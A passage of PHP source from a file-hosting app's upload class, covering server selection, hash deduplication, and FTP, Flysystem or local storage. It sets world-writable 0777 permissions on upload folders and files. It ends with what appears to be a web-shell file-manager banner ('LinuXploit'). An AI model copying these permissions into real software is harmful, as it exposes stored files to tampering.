        LogHelper::info('Uploader.class.php::_storeFile - Starting...');

        // refresh db connection
        $db = Database::getDatabase(true);
        $db->close();
        $db = Database::getDatabase(true, true);

        // logs
        LogHelper::info('Uploader.class.php::_storeFile - Reconnected DB.');

        // select server from pool
        // if this is a 'direct' server and it's active, use it
        $uploadServerId = null;
        $uploadServerDetails = FileHelper::getCurrentServerDetails();
        if ($uploadServerDetails['serverType'] == 'direct' && (int)$uploadServerDetails['statusId'] === 2) {
            // direct server
            $uploadServerId = $uploadServerDetails['id'];
        }

        // failed loading a server id so far, try from server pool
        if ($uploadServerId === null) {
            // select server from pool
            $uploadServerId = FileServerHelper::getAvailableServerId();
        }

        // try to load the server details
        $uploadServerDetails = $db->getRow('SELECT * '
                . 'FROM file_server '
                . 'WHERE id = :id', array(
            'id' => (int) $uploadServerId,
        ));
        if (!$uploadServerDetails) {
            // if we failed to load any server, fallback on the current server
            $uploadServerDetails = FileHelper::getCurrentServerDetails();
            $uploadServerId = $uploadServerDetails['id'];
        }

        // override storage path
        if (strlen($uploadServerDetails['storagePath'])) {
            $this->options['upload_dir'] = $uploadServerDetails['storagePath'];
            if (substr($this->options['upload_dir'], strlen($this->options['upload_dir']) - 1, 1) == '/') {
                $this->options['upload_dir'] = substr($this->options['upload_dir'], 0, strlen($this->options['upload_dir']) - 1);
            }
            $this->options['upload_dir'] .= '/';
        }        

        // logs
        LogHelper::info('Uploader.class.php::_storeFile - Checking if file already exists (dedupe).');

        // check if the file hash already exists
        $fileExists = false;
        if ($fileUpload->size > 0) {
            $findFile = $db->getRow("SELECT * "
                    . "FROM file "
                    . "WHERE fileHash = :fileHash "
                    . "AND status = 'active' "
                    . "AND fileSize = :fileSize "
                    . "LIMIT 1", array(
                'fileHash' => $this->md5FileHash,
                'fileSize' => (int) $fileUpload->size,
            ));
            if ($findFile !== false) {
                $fileExists = true;
            }
        }

        if ($fileExists == false) {
            // logs
            LogHelper::info('Uploader.class.php::_storeFile - File does not exist, storing.');

            // call plugin hooks
            $rsArr = PluginHelper::callHook('storeFile', array(
                        'actioned' => false,
                        'file_path' => '',
                        'uploadServerDetails' => $uploadServerDetails,
                        'fileUpload' => $fileUpload,
                        'newFilename' => $newFilename,
                        'tmpFile' => $tmpFile,
                        'uploader' => $this,
            ));
            if ($rsArr['actioned'] == true) {
                // handle result
                $fileUpload = $rsArr['fileUpload'];
                $filePath = $rsArr['file_path'];
                $fileSize = $rsArr['file_size'];
            }
            // local, direct or ftp storage methods
            else {
                // logs
                LogHelper::info('Uploader.class.php::_storeFile - Storage type: ' . $uploadServerDetails['serverType'] . ' (Server ID: '.$uploadServerDetails['id'].').');

                // move remotely via ftp
                if ($uploadServerDetails['serverType'] == 'ftp') {
                    // connect ftp
                    $conn_id = ftp_connect($uploadServerDetails['ipAddress'], $uploadServerDetails['ftpPort'], 30);
                    if ($conn_id === false) {
                        $fileUpload->error = TranslateHelper::t('classuploader_could_not_connect_file_server', 'Could not connect to file server [[[IP_ADDRESS]]]', array('IP_ADDRESS' => $uploadServerDetails['ipAddress']));
                    }

                    // authenticate
                    if (!$fileUpload->error) {
                        $login_result = ftp_login($conn_id, $uploadServerDetails['ftpUsername'], $uploadServerDetails['ftpPassword']);
                        if ($login_result === false) {
                            $fileUpload->error = TranslateHelper::t('classuploader_could_not_authenticate_with_file_server', 'Could not authenticate with file server [[[IP_ADDRESS]]]', array('IP_ADDRESS' => $uploadServerDetails['ipAddress']));
                        }
                    }

                    // create the upload folder
                    if (!$fileUpload->error) {
                        $uploadPathDir = $this->options['upload_dir'] . substr($newFilename, 0, 2);
                        if (!ftp_mkdir($conn_id, $uploadPathDir)) {
                            // Error reporting removed for now as it causes issues with existing folders. Need to add a check in before here
                            // to see if the folder exists, then create if not.
                            // $fileUpload->error = 'There was a problem creating the storage folder on '.$uploadServerDetails['ipAddress'];
                        }
                    }

                    // upload via ftp
                    if (!$fileUpload->error) {
                        $filePath = $uploadPathDir . '/' . $newFilename;
                        clearstatcache();
                        if ($tmpFile) {
                            $serverConfigArr = '';
                            if (strlen($uploadServerDetails['serverConfig'])) {
                                $serverConfig = json_decode($uploadServerDetails['serverConfig'], true);
                                if (is_array($serverConfig)) {
                                    $serverConfigArr = $serverConfig;
                                }
                            }

                            if ((isset($serverConfigArr['ftp_passive_mode'])) && ($serverConfigArr['ftp_passive_mode'] == 'yes')) {
                                // enable passive mode
                                ftp_pasv($conn_id, true);
                            }

                            // initiate ftp
                            $ret = ftp_nb_put($conn_id, $filePath, $tmpFile, FTP_BINARY, FTP_AUTORESUME);
                            while ($ret == FTP_MOREDATA) {
                                // continue uploading
                                $ret = ftp_nb_continue($conn_id);
                            }

                            if ($ret != FTP_FINISHED) {
                                $fileUpload->error = TranslateHelper::t('classuploader_there_was_problem_uploading_file', 'There was a problem uploading the file to [[[IP_ADDRESS]]]', array('IP_ADDRESS' => $uploadServerDetails['ipAddress']));
                            }
                            else {
                                $fileSize = filesize($tmpFile);
                                if ($keepOriginal == false) {
                                    @unlink($tmpFile);
                                }
                            }
                        }
                    }

                    // close ftp connection
                    ftp_close($conn_id);
                }
                elseif (substr($uploadServerDetails['serverType'], 0, 10) == 'flysystem_') {
                    $filesystem = FileServerContainerHelper::init($uploadServerDetails['id']);
                    if (!$filesystem) {
                        $fileUpload->error = TranslateHelper::t('classuploader_could_not_setup_adapter', 'Could not setup adapter to upload file.');
                    }

                    if (!$fileUpload->error) {
                        $uploadPathDir = substr($newFilename, 0, 2);
                        $filePath = $uploadPathDir . '/' . $newFilename;

                        // upload the file
                        try {
                            // upload file
                            $stream = fopen($tmpFile, 'r+');
                            $rs = $filesystem->writeStream($filePath, $stream);
                            if (!$rs) {
                                $fileUpload->error = 'Could not upload file. Please contact support or try again.';
                            }
                            else {
                                $fileSize = filesize($tmpFile);
                                if ($keepOriginal == false) {
                                    @unlink($tmpFile);
                                }
                            }
                        }
                        catch (Exception $e) {
                            $fileUpload->error = $e->getMessage();
                        }
                    }
                }
                // move into local storage
                else {
                    // logs
                    LogHelper::info('Storing file locally. Using storage base path: ' . $this->options['upload_dir']);

                    // check the upload folder
                    if (($uploadServerDetails['serverType'] == 'direct') || (!file_exists($this->options['upload_dir']))) {
                        $this->options['upload_dir'] = DOC_ROOT . '/' . $this->options['upload_dir'];
                        
                        // logs
                        LogHelper::info('We are on a direct server or additional local server, using new storage path: ' . $this->options['upload_dir']);
                    }

                    // fallback
                    if (!file_exists($this->options['upload_dir'])) {
                        $oldPath = $this->options['upload_dir'];
                        $this->options['upload_dir'] = FileServerHelper::getCurrentServerFileStoragePath();
                        
                        // logs
                        LogHelper::info('Storage path does not exist ('.$oldPath.'). If this is a symlink, ensure it has write permissions and you do not have open_basedir enabled in PHP. Using fallback: ' . $this->options['upload_dir']);
                        unset($oldPath);
                    }

                    // create the upload folder
                    $uploadPathDir = $this->options['upload_dir'] . substr($newFilename, 0, 2);
                    @mkdir($uploadPathDir);
                    @chmod($uploadPathDir, 0777);

                    $filePath = $uploadPathDir . '/' . $newFilename;

                    // logs
                    LogHelper::info('Storing file locally: ' . $tmpFile . ' => ' . $filePath);
                    clearstatcache();

                    $rs = false;
                    if ($tmpFile) {
                        if ($keepOriginal == true) {
                            $rs = copy($tmpFile, $filePath);
                        }
                        else {
                            $rs = rename($tmpFile, $filePath);
                        }
                        if ($rs) {
                            @chmod($filePath, 0777);
                        }
                    }

                    if ($rs == false) {
                        $fileUpload->error = TranslateHelper::t('classuploader_could_not_move_file_into_storage_on_x', 'Could not move the file into storage on [[[SERVER]]], possibly a permissions issue with the file storage directory.', array('SERVER' => _CONFIG_SITE_HOST_URL)) . ' - ' . $tmpFile . ' - ' . $filePath;
                    }
                    else {
                        // logs
                        LogHelper::info('Stored successfully.');
                    }
                    $fileSize = filesize($filePath);
                }
            }
        }
        else {
            // logs
            LogHelper::info('Uploader.class.php::_storeFile - File is duplicate, linking instead or storing.');

            $fileSize = $findFile['fileSize'];
            $filePath = $this->options['upload_dir'] . $findFile['localFilePath'];
            $uploadServerId = $findFile['serverId'];
        }

        $rs = array();
        $rs['file_size'] = $fileSize;
        $rs['file_path'] = $filePath;
        $rs['uploadServerId'] = $uploadServerId;
        $rs['fileUpload'] = $fileUpload;
        $rs['newFilename'] = $newFilename;
        $rs['relative_file_path'] = (substr($filePath, 0, strlen($this->options['upload_dir'])) == $this->options['upload_dir']) ? substr($filePath, strlen($this->options['upload_dir'])) : $filePath;
        $rs['fileHash'] = $this->md5FileHash;

        // logs
        LogHelper::info('Uploader.class.php::_storeFile - Finished.');

        return $rs;
    }

    /*
     * Removes any old files left over from failed chunked uploads
     */

    private function cleanLeftOverChunks() {
        // loop local tmp folder and clear any older than 3 days old
        $localTempStore = UploaderHelper::getLocalTempStorePath();
        foreach (glob($localTempStore . "*") as $file) {
            // protect the filename
            if (filemtime($file) < time() - 60 * 60 * 24 * 3) {
                // double check we're in the file store
                if (substr($file, 0, strlen(FileServerHelper::getCurrentServerFileStoragePath())) == FileServerHelper::getCurrentServerFileStoragePath()) {
                    @unlink($file);
                }
            }
        }
    }

    protected function getServerVar($id) {
        return isset($_SERVER[$id]) ? $_SERVER[$id] : '';
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit